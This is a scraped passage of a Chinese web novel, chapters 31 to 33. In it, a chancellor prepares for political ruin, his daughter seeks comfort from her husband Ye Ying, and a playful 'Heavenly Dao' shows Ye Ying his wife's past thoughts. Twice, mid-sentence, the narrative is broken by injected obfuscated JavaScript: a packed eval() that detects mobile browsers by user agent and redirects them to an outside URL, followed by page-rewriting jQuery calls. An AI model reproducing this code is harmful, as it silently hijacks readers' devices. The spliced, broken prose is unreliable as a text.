『好啦,铺垫得差不多了。』它看向沉睡的叶英,意念里带着一丝期待和恶作剧般的笑意。 『叶少庄主,好好享受这最后一晚的宁静吧。明天开始,可就要正式进入男主的副本模式了哦。至于芊雅丫头……嗯,也得适当给她点压力和成长空间才行,总是被保护得太好,可没法真正成为撑起世界的女主呢。』 那本光之笔记的虚影,缓缓翻到了新的一页,页首浮现出几个由规则符文构成的大字: 【下一阶段:风波再起,反派登场。】 它琢磨着,那无形的小本子上又自动浮现出几行新的和充满恶趣味的策划草案。 虚空之中,无人知晓这场关乎两人命运和甚至世界走向的编剧会议正在进行,甚至只是轻轻一动笔,就会改变无数人的人生。 而帐幔之内,叶英在长久的静默后,终于也阖上了眼睛。 他没有完全入睡,保持着武者浅眠的警醒,手臂依旧稳稳地环着怀中人。 前路迷雾重重,身侧温暖真实。 他只知道,无论这缘分起于何种算计,无论未来有多少艰难抉择,此刻怀中的这份重量,他已放不开。 至于其他……兵来将挡,水来土掩便是。 剑在手中,人在怀中。 足矣。 31. 山雨欲来风满楼 林承泽猛地从睡梦中惊醒,心跳得又急又重,像是要撞出胸膛。 后背寝衣冰凉地贴在身上,全是冷汗。梦里人影晃动,刀光剑影,最后都化作一双惊慌的眼睛。 是他女儿芊雅的眼睛,睁得大大的,盛满了惊慌无助,就那样直直看着他。 他喘了好几口粗气,才在黑暗里慢慢定下神。 只是个梦罢了。 “老爷?”门外守夜的老仆听到动静,压低声音小心问了一句。 “没事。”林承泽开口,声音已经恢复了往日的平稳,只是还带着刚醒来的沙哑,“做了个梦魇着了罢了。你去歇着吧,不用守着了。” 等门外那悉悉索索的脚步声远了,他才慢慢坐起身。 并未点灯,只借着窗缝透进的一点月光,摸索到书案前坐下。紫檀木桌面冰凉,那股凉意让他彻底清醒过来。 他没有唤人,就这么独自坐在黑暗里,许久一动不动。 脑子里走马灯似的,把他这错位的大半生过了一遍。 外人看着是泼天富贵,可这几十年来,哪一步不是如履薄冰? 先帝在时还好,如今这位新帝,对他的忌惮是一日重过一日。南安王府那老对头,更是处处与他作对。他能感觉到,那张针对他的网,正在看不见的地方一点点收紧。 他今年四十六了。说实话,是真有些倦了。可倦又能怎样?雅儿那身子,经不起颠沛流离。 为今之计,只有早做打算。 至于那些朝堂上的刀光剑影,是决计不能透露给雅儿分毫的。她那身子骨,大夫早就叮嘱过,切忌劳心耗神。 所有风雨,他一人来挡便是。 至于白发人送黑发人? 他绝不允许这种事情发生。 …… 近来的丞相府,从表面上看,一切倒还如常。下人各司其职,园子里的花木有人按时修剪,厨房里的膳食也照旧精细。 可在这份看似井井有条的平静之下,却隐隐透着一股不同寻常的和山雨欲来前的压抑感。 这感觉很微妙,府里伺候多年的老人或许能察觉一二,但多半也说不清道不明。 林芊雅却不同。 她自十三四岁起,便开始帮着父亲打理内务,府中各项开支用度和各处田庄铺面的收益账目,她可是再熟悉不过了。 近来,她便敏锐地察觉到一些细微的变化。 账面上看,一切倒还正常。 可她知道,父亲书房多宝格里少了几件不算起眼和但价值不菲的古董摆件,母亲妆奁里留下的几样压箱底的贵重头面首饰,似乎也被动过了。 这些东西,平日里父亲是决计不会动的…… 这些东西被处置得悄无声息,换来的银票却不见入公中的账,倒像是被父亲用别的方法,给妥善藏匿了起来。 更让她心头发沉的是,府里那几位跟随父亲多年和极为可靠的老管事,这几个月来陆续都被派了出去,名义上是去南边打理几处旧日的产业,或是回乡探亲。 可人这一去,便再没什么消息传回,像石沉大海一样。 这哪里还是寻常的派遣? 分明是在悄悄疏散得力之人。 这些零碎的迹象拼凑在一起,就指向一个她不愿深想和却又无法忽视的可能: 父亲这是在悄悄地、不动声色地安排后路。 朝局……难道已经险恶到这般地步了么? 她心里那根弦,便越绷越紧,一天天沉下去。 终于,她寻到一个父亲独自在书房批阅公文和略显疲惫的傍晚,亲手端了一碗新炖好的冰糖燕窝羹,轻轻敲响了书房的门。 “爹爹,”她走进去,将手中温热的白瓷盅轻轻放在父亲堆满卷宗的案头,声音放得又轻又软,却掩不住里面浓浓的忧虑,“近来……我瞧着府里似乎……是有些动静?可是出了什么事吗?若有难处,女儿如今也大了,或许……也能替爹爹分担一二?” 林承泽从那些密密麻麻的字迹里抬起头,揉了揉发胀的太阳穴。 她果然还是察觉了。 看到女儿端着羹汤进来,眼中担忧几乎要溢出来,他目光便不由自主地柔和了一瞬。 不能让她卷进来,一丝一毫都不能。 但随即,那柔和就被更深的疲惫与凝重给覆盖了。 他望着女儿,半晌,才长长地叹了口气。 “雅儿,”他声音沙哑,透着一股深深的无力,示意她在对面的椅子上坐下,“你长大了……有些风雨,爹原本想着,总能替你挡一辈子,让你永远不必看见,不必沾染……” 他顿了顿,看着女儿那双肖似亡妻的清澈眼眸,后面的话似乎格外艰难,在喉咙里滚了几滚,终究没能完全说出口。 爹只怕……是快要护不住你了。 “你只需记住爹的话……若有朝一日,爹这棵老树当真撑不住,倒了,不能再替你遮风挡雨了……我的雅儿,你……你一定要学会自己立起来。无论遇到什么,也一定要……咬牙扛过去。” 林芊雅听着父亲这些话,心猛地往下一坠。 这是什么话? 倒像是在交代后事一样! “爹!”她声音陡然拔高,带上了自己都未察觉的颤抖和哭腔,眼圈一下子就红了,“您别吓我!到底是怎么了?我们是父女啊!天大的难关,我们难道还不能一起过吗?您告诉我!” “正因为是父女!”林承泽的声音陡然变得严厉起来,甚至带上了一种近乎绝情的意味,仿佛想用这种方式斩断她的追问。 傻孩子,正因为是父女,爹才不能拖你下水! 可目光一触及女儿那瞬间血色尽褪的苍白小脸,和那双瞬间蓄满泪水和惊惶不安的眼睛。 他心头一刺,猛地就收住了后面更重的话。 像是骤然被抽干了力气,他极其疲惫地挥了挥手,声音低了下去,带着浓重的倦意: “罢了……你出去吧。只记住爹今日说的话,就好。” 他看着女儿僵立在那里,眼泪无声地滚落下来,最后呆立半晌,只能无声地退了出去,心里一阵阵地疼。 现在狠心,总比将来让她毫无准备地面对风暴要好。 可他没有伸手去擦她的眼泪。 只是闭上了眼,声音更低,近乎自言自语,又像是最后的安慰: “幸好……幸好你如今,已有了归宿。叶英那孩子……爹瞧着,倒是个能靠得住的。” 这大概……是爹最后能为你铺平的一段路了。 林芊雅从父亲书房出来时,眼眶都还是红的,脚步也有些虚浮。 她没有回自己的院子,几乎是本能地,就径直走向了观澜院。 推开卧房的门,叶英正坐在窗边的椅子上,手里拿着一卷书,却也没有看。听到动静,他立刻抬眼望过来。 他看到她那泛红的眼眶,湿漉漉的睫毛,还有那失了血色的唇瓣,心里猛地一沉,就像被什么东西给攥紧了一样。 她走到床边坐下,没有看叶英,而是扬声唤了外间的春华。 春华应声进来,一眼便瞧见自家小姐红肿的眼睛,倒是吓了一跳:“小姐,您这是……” “磨墨,铺纸。”林芊雅打断她,声音有些沙哑,却异常清晰镇定,“我要写几封信。” 春华不敢多问,连忙照做。 叶英静静站在一旁,看着她走到书案前坐下,提起笔,蘸饱了墨,略一思索,便飞快地写了起来。她的背挺得笔直,手腕倒沉稳,只有微微泛红的眼角和偶尔轻轻吸一下鼻子的动作,泄露了方才的情绪。 她写得很快,一连写了三封。 内容简洁措辞谨慎,但叶英在一旁,能听出她是在用几种不同的暗语和渠道,向几个方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的声音很轻,却带着微微的颤音。“我好怕……我好怕父亲会出事。” 话音刚落,一直强忍着的泪水,终于又夺眶而出,顺着苍白的脸颊滚落下来。 这一次,她没有抬手去擦,就只是任由眼泪流淌着,目光却依旧执着地看着叶英。 “夫君,”她往前一步,将脸埋进他肩窝,声音闷闷的,带着绝望般的依赖和脆弱,喃喃道,“我不能没有父亲的……我真的不能……” 叶英感觉到肩头的湿意迅速蔓延开来,也感觉到她握着自己的手冰冷而用力。 他心里像是被什么东西狠狠揪了一下。 他不善言辞,更不懂朝堂上的倾轧算计。 但他懂得她的恐惧,懂得她对父亲那份深沉的依赖。 他松开被她紧握的手,转而用双臂将她整个人更深地和更牢固地拥进怀里,一只手轻轻拍着她的背,另一只手抚摸着她的后脑,动作有些笨拙,却带着不容置疑的温柔和坚定。 “我在。”他低声说道,声音沉缓,像最坚实的壁垒,“岳父大人历经风雨,总定有应对之策。” 他顿了顿,感觉到怀里的人依旧在微微发抖,便将她拥得更紧了些,几乎要将她嵌入自己身体里,用体温去暖和她浑身的冰凉。 “无论如何,”他将下巴搁在她发顶,声音不高,却一字一句,清晰无比,“有我在。” 他不知朝局深浅,也无法预知风波几何。 他能给的,唯有此刻绝不松开的怀抱,和一句最朴实的承诺。 林芊雅听着他沉稳的心跳,感受着他怀抱传来的和源源不断的热度和力量,那无尽的恐慌和冰冷,就像寒冷的冬天,终于找到了一个温暖的庇护所一样。 她不再说话,就只是更紧地回抱住他,将脸深深埋在他颈间,仿佛要将自己所有的脆弱和不安都藏进这个怀抱里一样。 32. 心意相通,怎会觉得闷? 林芊雅在他怀里哭了很久,像是要把这些日子压在心底的恐慌和委屈都发泄出来一样。叶英却只是抱着她,手掌一下下轻抚她单薄的背脊,并没有说话。 他知道此刻言语苍白,唯有陪伴,才是最有力的依靠。 等到她哭得累了,呼吸渐渐平复,只剩下细微的抽噎,他才稍稍松开些她,用指腹擦去她脸上冰凉的泪痕。 “好些了?”他低声问。 林芊雅点了点头,眼睛肿得核桃似的,鼻尖也红红的,神情却比方才安定了些,只是依旧将头靠在他怀中,手指无意识地揪着他胸前衣料,声音有些沙哑: “对不起,夫君……我……我失态了……” 她向来是有主见的,遇事总能冷静分析,想出对策。 可这一次,父亲那近乎遗言的叮嘱,朝堂上无形的黑手,都让她感到一种前所未有的无力。仿佛站在悬崖边上,只是一脚踏空就要死无全尸,这种全盘的失控感,比任何具体的威胁更让她心慌。 叶英听出了她声音里的迷茫与脆弱。 他沉默片刻,手臂将她圈紧了些,下颌轻轻蹭了蹭她发顶。 “莫怕,你已做了你能做的了。”他指的是她方才写信打探消息的举动,“余下之事,自有岳父大人安排。” 叶英心中沉重。 他一个失忆的江湖人,对朝堂倾轧一无所知,除了在此刻给她一个可以倚靠的怀抱,似乎也做不了更多。 这种无力感,他自己也同样清晰。但此刻不能表露。毕竟若他都倒下了。那他那心思敏感的妻子又该依靠谁呢? 林芊雅在他怀里轻轻嗯了一声,没再说话,只是更紧地依偎着他。 许是哭累了,许是这怀抱太过安稳,她紧绷的神经渐渐松了,眼皮沉了起来,呼吸也变得绵长均匀。叶英察觉她睡着了,便小心将她放平在床榻上,盖好锦被,又将散乱的发丝拢到耳后。做完这些,他坐在床边,静静看了她好一会儿。 她现下面色苍白憔悴,眼下泪痕未干。眉头即使在睡梦中也微微蹙着,仿佛连梦也逃不开现实的沉重。 他伸出手指极轻地抚平她眉间的褶皱,动作带着自己都未察觉的温柔。然后轻轻在她眉心落下一个吻。 随即,他起身走出内室,轻轻带上了门。没有回自己常坐的窗边,而是径直走到了廊下。 夜深了,院子里静悄悄的,下人们也早沉入梦乡。唯有他还无法入眠。 他知道,常规的方法帮不了她。 他没有情报网络,不懂官场规则,甚至对这个世界的许多认知都还模糊不清。武力可以解决直接的威胁,却无法穿透这盘根错节的阴谋与算计。 但……他似乎并非全无倚仗。 那个自称天道和行事诡异轻浮的存在,曾与他做过交易。虽然那交易透着算计与不确定,但至少,对方似乎拥有超越常理的信息获取能力。它声称需要他和芊雅推动故事,那么,眼下芊雅和她家族面临的危机,算不算故事的一部分? 更重要的是,他需要确认一些事。 确认这个天道是否真的具备它所宣称的能力,确认它在这场潜在的危机中,究竟是旁观者和推动者,还是别的什么。这也关乎着他后续的判断与行动。 心念微动,他并未开口,只将意识集中于那晚与天道对话时产生的一种玄妙联系上,于心底尝试发问: 『你可知,眼下林家究竟面临何事?是谁在背后针对?』 虚空之中一片沉寂,仿佛那晚的一切只是他重伤初愈产生的幻觉。廊下的风依旧微凉,竹叶沙沙作响。半晌没有其他的动静。就在叶英以为不会得到回应,甚至开始怀疑那晚经历的真假时,那熟悉又令人牙痒的戏谑声音,毫无征兆地再度于他脑中响起,甚至还带了点似乎刚刚苏醒的困倦声: 『哎呀呀,这么快就找上门啦?小别胜新婚,这才温存了多久,就舍得丢下香香软软的小媳妇,跑出来吹冷风找本天道聊天?年轻人,你这样不行啊~』 依旧是那副轻浮油滑没个正形的腔调。 叶英眉头几不可查地蹙了一下,直接忽略了它话语里那些不着调的调侃,意念再次清晰地传递过去: 『回答我的问题。』 『啧,真没耐心。』天道的声音听起来有些扫兴,但也没再绕弯子。 『行吧行吧,看在你这么关心你家小媳妇的份上。林家嘛……确实有点小麻烦。不过在你看来,可能也不算小哦。』 它的语气变得有些意味深长。 『想知道是谁在搞事?简单啊。南安王府,或者说,以南安王为首的那一系人马,是主力。刘家倒了,他们损失不小,自然要想法子从别处找补回来,顺便……报个小仇?』 南安王府。 这个名字叶英并不陌生。从芊雅之前简略的叙述,以及今日岳父那沉重的神色中,他早已知道这是林家最大的政敌,也是当初羞辱芊雅和导致她名声受损的源头。但听天道这口气,似乎不仅仅是因为刘家倒台的报复? 『不止如此?』他追问。 『当然不止啦!』天道的声音陡然拔高,充满了某种看热闹不嫌事大的兴奋 『政治斗争多无聊啊!来来去去不就是那些套路?但加上个人恩怨,尤其是牵扯到我们美丽又聪慧的女主,那可就精彩多了!』 女主……又是这个称呼。 叶英眼底掠过一丝反感,但此刻他更关心的是个人恩怨的具体内容。 他知道芊雅曾因此受辱,但具体细节,她从未详说,他亦不愿去揭她伤疤。可若这恩怨是当下危机的重要一环,他必须了解。只是天道却似乎总能精准地挑起他最在意的那根弦。 『说清楚。』 『别急嘛~』天道慢悠悠地拖长了调子 『光用嘴说多没意思?你又没亲眼见过,体会不到那种……嗯,身临其境的感觉。怎么样,想不想……亲自看看?看看你家小媳妇,从小到大,到底是怎么被那些人关照的?』 看看? 叶英心中一动。不是用语言描述,而是直接看到? 这听起来更加匪夷所思,但也更直接,更……具有冲击力。如果这个天道能做到这一点,那无疑是对其能力最直观的证明。 他需要知道真相,需要了解芊雅过去究竟承受了什么,才能更清晰地判断眼前的局势,也才能更准确地知道,自己该如何应对,如何才能真正抚平那些旧日的伤痕。 沉默了片刻,他做出了决定。 『好。如何看?』 『爽快!』天道的声音充满了得逞般的愉悦,『那就……让我们从故事的源头开始吧?保证清晰□□,沉浸式体验哦!准备好了吗?』 叶英没有回答,只是深深吸了一口气,目光变得锐利而专注望向了面前虚无的黑暗。 他准备好了。 无论即将看到的是什么,他都需要直面。 为了此刻在房中安睡和却蹙着眉心的妻子,也为了那场交易背后,他自己必须弄清的过去与未来,以及他们共同的现在。 当眼前虚无的黑暗褪去,叶英发现自己并未站在廊下,而是身处一个熟悉又陌生的地方用着一种诡异的视角看着观澜院卧房的窗内。 他心中先是一懵,纵使意志坚定,骤然见此神奇一幕,也令他心下茫然。 卧房榻上正侧坐着一个人,那正是林芊雅。她穿着一身家常的玉色薄衫,乌发松松挽起,几缕碎发垂在颊边,手里拿着一卷书,却并未认真在看。 叶英记得,那应当是新婚后一个月左右,毕竟那套玉色薄衫,她也只略略穿过几次罢了。 他微微皱了皱眉,妻子看书的时候一般极为认真,怎么会居然走神了?莫非是南安王府这时候便已经让她心绪不宁了? 可随后他又否定了这个想法。因为她的目光,正专注地和带着一种连她自己都未察觉的柔软暖意,投向窗外。顺着她的目光看去,叶英看到了院子里的景象——海棠树下,一个白衣如雪和白发束起的修长身影正静静立着,怀里似乎抱着剑,目光落在纷扬的落花上。 那是他自己。 是某个午后,他在院中静立时的情景。紧接着,一种极微妙的感觉涌上叶英心头。 他微微一怔。原来那些他独自静立的午后,她便是这样看着他的。 紧接着,与这画面一同涌来的,是此刻林芊雅心中毫无遮掩的思绪。并非声音,却比声音更直接地映入他意识,如同他亲身所想。 那感觉令人难以言喻。像是看着一幅极为赏心悦目的画,画中人清冷疏离,却又莫名让人觉得安心。又像是冬日里捧着一杯暖茶,从指尖到心头都熨帖着舒适的温热。 那目光流连在他身上,从侧脸轮廓,到束发的木簪,再到握剑的手指,每一处都细细瞧过,心底便泛起清浅的甜意,一种陌生的暖意,毫无征兆地撞进他心口。 她甚至没意识到自己看得有些出神,书卷早已滑落膝头也未曾察觉。 ——他这样站着,看了许久了。 她目光流连在那挺拔如松的脊背上。 ——是在观花,还是在悟剑? 她不懂武功,却觉得他静立时的姿态有种独特的韵律,看着便让人心下安宁。 不,其实他当时只是在放空思绪,什么也没想。 叶英下意识地否定了妻子内心的话语。 随即就是一怔。哪怕情况特殊,也忍不住有些想要哑然失笑,耳根一红。他没想到在妻子的心中,哪怕他只是出神。都是在悟道。 “小姐,”一个刻意压低的带着笑意的声音打断了这份凝视,“您读了那么多书,不是早就看透了这些情爱之事?如今怎的还……” 原来是春华正拿着团扇轻轻为她打扇,话虽然没说完,但那揶揄打趣的意思却再明显不过。 林芊雅先是脸上微微一红,随即心中那点羞赧便被坦然满足的甜意所取代。 她轻轻摇了摇头目光仍落在那院中的身影上,脸上还带着笑意,但仿佛又想起了什么让她不怎么喜欢的东西似的眉头稍微皱了一下。 她看了看叶英眉头却忽然又舒展开开口道: “倒不是看透,只是明白世间男女之情,大多逃不过利益二字罢了。” 这话里的通透,甚至带着点冷静到近乎漠然的意味。他心下一沉。 原来她最初对姻缘的期待,是如此冰冷和现实。 他想起方才她靠在自己怀里说“我不知道该怎么办”的样子,忽然有些明白,她不是天生就会依赖人的。她只是被他遇见了。 他心中微微一涩。那他们的感情,在她看来,可曾也有过这样的怀疑? 早在定亲之初,她就清醒知道,世间男子三妻四妾实属寻常,所谓一生一世一双人,不过是话本里的奢望,是空中楼阁,是痴人说梦。 她自幼读史书,看列传,那些被传颂的爱情背后,往往藏着更多不为人知的算计与妥协。她对自己的婚姻,从很早以前就已没有什么浪漫的幻想了。 “若那南安王世子依约娶我,我自会安分守己,做好世子妃的本分。” “只要嫡子出自我的腹中,我的地位稳固不可动摇,他纳多少妾室,宠爱哪个花魁,于我又有什么分别?” 这番理智到残酷的话,让他眉头紧锁。 这不该是她对婚姻的想象,至少不该是一个明明鲜活如二八年华、心思却已是八十老叟一般的少女应该有的想法那样寂静与空茫…… 她定过亲,他早就知道了。 甚至也知道这份亲事对她来说带来的也并不算是喜悦。 他并非那等小肚鸡肠、嫉贤妒能之人,也并不在意一个已经在妻子生命中成为过去式的人。 可此刻听到妻子这样的言语,还是感觉到一阵心疼。 春华惊讶的声音将她从思绪中拉回:“小姐,您当真一点也不在意么?” 叶英看到林芊雅微微弯了弯唇角,那眼神通透清澈,带着一种遥远的疏离:“在意什么?从未放在心上的人,又何来在意之说?我与他之间,本就无情可言。” 他先是愣住。随即又涌起更深的怜惜。 那份羞辱,她竟是用这般彻底的无关来化解的。 他忽然庆幸,庆幸她从未对那人动过心。 春华嘟囔:“可是小姐,那世子那样当众羞辱您,您就不生气吗?” “生气,当然生气,”她淡然开口,心中却并无多少情绪波动。 “但却不是因为他负我而生气,而是因为他辱林家而生气。他轻慢的不仅是我,更是父亲的颜面,是相府的门楣。” 她顿了顿,眼前似乎闪过那日宴席上花魁夭华依偎在萧琰身边,眼中带着惶恐与一丝卑微希冀的模样。 一种奇特的近乎悲悯的情绪,缓缓浮上心头。 “其实,那女子又何尝不可怜呢?这世道,女子生存本就艰难。我虽贵为相府嫡女,尚且有诸多不得已,何况她一个无依无靠,沦落风尘的孤女?” “将挣脱囚笼的希望,全然寄托于男子一时兴起的垂怜,本就是镜花水月,空中楼阁,最终只怕摔得更惨,伤得更深……” 她无声地叹了口气,那叹息里没有嫉妒,只有洞悉世情的苍凉,“说到底,错也不全在她。根源在那个轻诺寡信和肆意妄为,将他人命运与情感皆视作玩物与点缀的人。” “如今回首,只觉荒唐。” 她的目光重新聚焦在院中那抹白色的身影上,眼底的冷然和疏离如冰雪消融般被暖意所取代:“那世子不过是个被宠坏了的纨绔,言行无状,品性低劣。那场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224197|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当众退婚的闹剧,于我而言,倒像是……一桩幸事。” 幸事…… 他心头那点因她过往婚约而生出的酸涩感,忽然散了。 不是被拂去的,是被这两个字轻轻托住,然后放下了。 毕竟他的妻子心性通透,就连她自己都不挂怀于心之事,他又何必挂怀呢。 然后,她的声音骤然变得轻柔而坚定,所有的心神定在窗外那个人身上: “可我夫君却为人品性端方,守正不移,有君子之风。” “他虽沉默寡言,却非木讷,而是君子敏于行而讷于言。以诚心待人,不尚虚辞罢了。” 原来他那些不知如何表达的沉默,在她眼里,竟是这般模样。 君子之风……从未有人用这样的词来形容他。 或许失忆之前有,但此时仍然让他耳后有些发热。 溶洞里他背着她向外走的每一步沉重却坚定的步伐,红烛下他清晰说出叶英定不负你时专注的眼神,都比任何华丽的誓言更有分量。 “在我夫君身上,”她顿了顿,声音里多了一丝不易察觉的柔和与探寻,“依稀能见古时盛唐遗风,诚于己心,诚于手中之剑,诚于所待之人。”这评价很高,带着一种跨越时空的共鸣与欣赏。 春华大约是被自家小姐这突如其来的带着文绉绉意味的夸赞逗乐了,又或许是觉得小姐这护短的样子很有趣,忍不住抿嘴笑道:“小姐说的是。姑爷自然是极好的。不过,姑爷这般……嗯,沉默,小姐当真不觉得闷么?” 闷? 林芊雅闻言,眼底的笑意更深,那笑意点亮了她略显苍白的脸庞。 她轻轻摇头,目光依旧眷恋地流连在窗外身影上。 “与他相处,无需多言,便觉心安。他一个眼神,一个动作,我便能懂他七八分。这般心意相通,怎会觉闷?” 心意相通……他默念着这四个字 人生当真难得一知音…… 她似乎想起了什么,脸颊微微泛红,声音更低了些,像是自言自语,又像是在反驳春华话里那可能的调侃:“皮相不过皮下白骨,红颜终有衰败时。可即便只论容貌……” 她的目光再次细细描摹过院中人的侧影,从那如画的眉眼,到挺直的鼻梁,再到颜色偏淡却形状优美的唇,最后落在那头如雪的白发和额角殷红的梅花印上,心底涌起一种近乎赞叹的和纯粹的对美的欣赏,以及一丝隐秘的占有般的欢喜。 “……也是谪仙之姿,清冷出尘,非俗世可比。”她得出结论,然后语气陡然转冷,带着毫不掩饰的鄙夷,“那南安王世子算什么?金玉在外,败絮其中,提他的名字,都是辱没了我夫君。” 一股强烈的近乎灼热的情绪瞬间涌上。 这句话里的维护,霸道得不讲道理。 他垂下眼,才发现自己不知何时攥紧了垂在身侧的手。整颗心都被填满了。 春华忍不住噗嗤笑出声,显然是觉得小姐这护短护得毫不讲理又可爱极了。 林芊雅似乎也意识到自己方才的话过于直白,脸上红晕更深,她轻轻瞪了春华一眼,那一眼却没什么威力,反而带着被看穿心事的羞恼。 “春华,你也忙了一早上,下去歇会儿吧。”她开始赶人,声音努力维持着平日里的平稳,但那丝赧然还是泄露了出来。 春华吐吐舌头,知道小姐这是心思被点破,脸上挂不住了,便笑嘻嘻地应了声是,行了个礼,轻手轻脚地退了出去,还贴心地将门虚掩上。 屋内安静下来。 林芊雅不再有任何掩饰,目光专注地追随着窗外那道身影。手中的书卷被彻底搁置一旁,她双手交叠放在膝上,整个人放松下来,沉浸在一种安然满足甚至带着点小小得意的氛围里。 她这样看着他……仿佛他是她世界里唯一的光。这份专注,让他几乎不敢呼吸。 她就这么看着,想着,嘴角的弧度温柔而坚定,眼底映着窗外晴朗的天光和那人沉静的身影,亮晶晶的,盛满了自己尚未全然明了却已深陷其中的喜悦与爱慕。 她看着他,仿佛怎么也看不够。 看他静立时挺拔如松的脊背,看他偶尔微风拂动发丝时细微的侧首,看他指尖无意识拂过剑鞘的轮廓……每一个细微的动作,都落在她眼里,牵动她心底柔软的弦。 她想起溶洞里他滚烫的额头和压抑的痛哼,想起他握着自己手腕时掌心粗糙的薄茧和令人安心的温度,想起红烛下他清晰映着自己影子的眼眸和那句叶英定不负你…… 这些画面和感觉纷至沓来,让她心念微动。 或许书里写的,前人说的,也不全对。 或许这世间当真有一种至情,可以超越那些冰冷的算计与权衡,让人心甘情愿地交付全部信任,甚至心生贪恋,想要牢牢握在手心,再也不放开。 至情……交付全部信任。 他闭上眼,心底一片滚烫。 他又何尝不是? 何其有幸……遇你…… 直到一阵倦意悄然上涌,她轻轻打了个小小的哈欠,抬手揉了揉有些发酸的眼角,终于将目光收回,身子软软地靠向身后柔软的引枕闭上了眼睛。 然而,唇角那抹清浅的笑意却泄露了她那抹从未开口言说的的情愫。 叶英站在这个奇特的视角,将这些尽收眼底,也听得一清二楚。 他看到了一个他从未留意过的林芊雅,一个从未见过的夫人。 震惊吗?有的。 他从未想过,在自己以为平静无波的那些独处时刻,她的目光曾如此长久地停留在他身上,心中转过如此多的念头。 原来,在他不知道的时候,她已将他剖析得这般透彻,又珍视得这般彻底。 触动吗?更深。 尤其是听到她将自己与那南安王世子对比时,那份毫不掩饰的偏袒与维护,以及最后那句提他的名字,都是辱没了我夫君,带着孩子气的认真都让他心头那处最柔软的地方,被轻轻撞了一下。 原来在她心中,他竟被置于如此高的和不容亵渎的位置。 这诡异的天道,竟真能窥见人心至此。 这份能力令他忌惮,但也意味着,关于他身世的那些话,恐怕也非虚言。 还有一丝难以言喻的复杂与心酸。 她的爱慕与依赖,起于危难时的相救,成于日常的相处,真挚无比。 可若她知道,他们相遇的起点,或许源于一场更高层面的算计与安排,她这份纯粹的情感,是否会蒙上阴影? 这个念头让他心底微沉,但很快又被他压下了。 此刻不是纠结这个的时候。他必须分清主次。 但无论如何,此刻看到的一切,如此真实,如此鲜活。也让他对妻子的那股心疼更深了许多。 33. 这世道对女子总是不公的 叶英看着倚在引枕上带着甜软笑意沉入梦乡的妻子,心中暖意与酸涩未平,眼前画面便开始变化起来。 不再是观澜院的午后,换成了一个更明亮也更嘈杂的所在。像是个大户人家的花厅,春日阳光极好,透过雕花窗棂洒入,映得满室生辉。花团锦簇,衣香鬓影,许多华服男女聚在一处,言笑晏晏。 他看到了一个非常小,小得让他心头一软的林芊雅。 他顿了一下。 这便是……她小时候的模样? 他从不知道,原来还能见到妻子这般年幼的时候。但……着实可爱。 瞧着只三四岁,或许更小,穿着一身精致的粉裙,头发梳成两个小揪揪,系着珍珠发带,玉雪可爱,像年画上的娃娃一样漂亮。 她被一位面容温柔清丽、却带着挥之不去病气的年轻妇人牵着,怯生生地站在那儿,一双黑白分明的大眼睛好奇又有些紧张地打量着四周。 那双眼睛分明是好奇的,可叶英看着,却觉得那好奇底下还压着些什么——像是在分辨,在掂量,在看眼前人值不值得靠近。 原来她那样小的时候,眼神便是这般清澈又带着警觉。 那妇人眉眼间与芊雅有六七分相似,只是更加温婉柔弱,脸色是不健康的苍白。 叶英心中明白。这便是芊雅早逝的母亲何氏了。 早听闻岳母身子不好,却不想已病弱至此。那样温柔的人,终究没能看着女儿长大。最后就只剩芊雅一个人了。 一个穿着锦袍金装玉裹的小男孩被一个华服妇人领着,走到了她们面前。 幼时的南安王世子萧琰此时大约五六岁,脸圆圆的,眼睛滴溜溜转,一看便是被宠惯了的。 大人们开始寒暄,何氏便拉着小芊雅,轻声细语地让她叫人。小芊雅很乖,声音细细软软地唤了“伯母”,“世子哥哥”。 然后大人们便走到一旁说话去了,似乎有意让两个小孩自己相处。 小萧琰显然觉得这安安静静像瓷娃娃一样的小丫头有意思。他围着小林芊雅转了两圈,似被发带吸引,又似被这可爱的同龄人吸引。忽地就伸出手,拽了拽她一边的小发揪。 力道倒不重,只是却很突然。 他眉头一蹙,对这顽劣霸道的世子,已生不出半分好感。 他在闹,她却只是忍着。这么小难道就没人教过他什么叫分寸么? 而小芊雅也愣了一下,乌溜溜的眼睛里立刻就浮起一层水光,小嘴抿紧了显出不高兴来。她不喜欢这样。 可就在这时,大人们的目光看了过来。 小萧琰吓了一跳,慌忙想收手,结果却胳膊肘一带,碰翻了旁边小几上一盏热茶。 “哗啦”一声,茶水大半泼在小芊雅粉嫩裙摆上,立刻晕开一大片水渍。茶盏滚落在地,碎了。 小芊雅“呀”地低呼一声,小手揪住了湿漉漉的裙子,被那温度和突如其来的变故弄得有些无措,眼眶更红了。 大人们闻声赶过来。南安王妃连声责备儿子不小心,何氏则连忙蹲下身查看女儿有没有被烫到,一边温言安抚着。 场面便有些微的混乱和尴尬。 叶英看到,小小的林芊雅被母亲抱在怀里轻声哄着,她将脸埋在母亲肩头,吸了吸鼻子,把眼泪憋了回去。 他没来由地觉得胸口发闷。 那么小的一个人,连哭都要躲起来。这样的委屈还不知受了多少次。 混乱平息后,回去的马车上,何氏将女儿抱在膝上,温柔地替她整理微乱的头发和弄湿的衣裙,轻声问道:“雅儿,告诉娘亲,你喜欢今日见到的世子哥哥吗?” 小芊雅靠在母亲怀里,抿着小嘴,半晌都没说话。 她不喜欢。 那个世子哥哥拽她头发,还打翻茶,弄湿了她最喜欢的裙子。 不仅不喜欢,她还觉得他有点讨厌!没礼貌! 可是,她抬起头,看到母亲温柔却难掩疲惫憔悴的面容,还有眼中那丝小心翼翼的期盼时,就突然又说不出口了。 她记得爹爹说过,娘亲身体不好,要让她开心才行。 小丫头犹豫了一下,慢慢地还是点了点头,声音很小地说:“喜欢。” 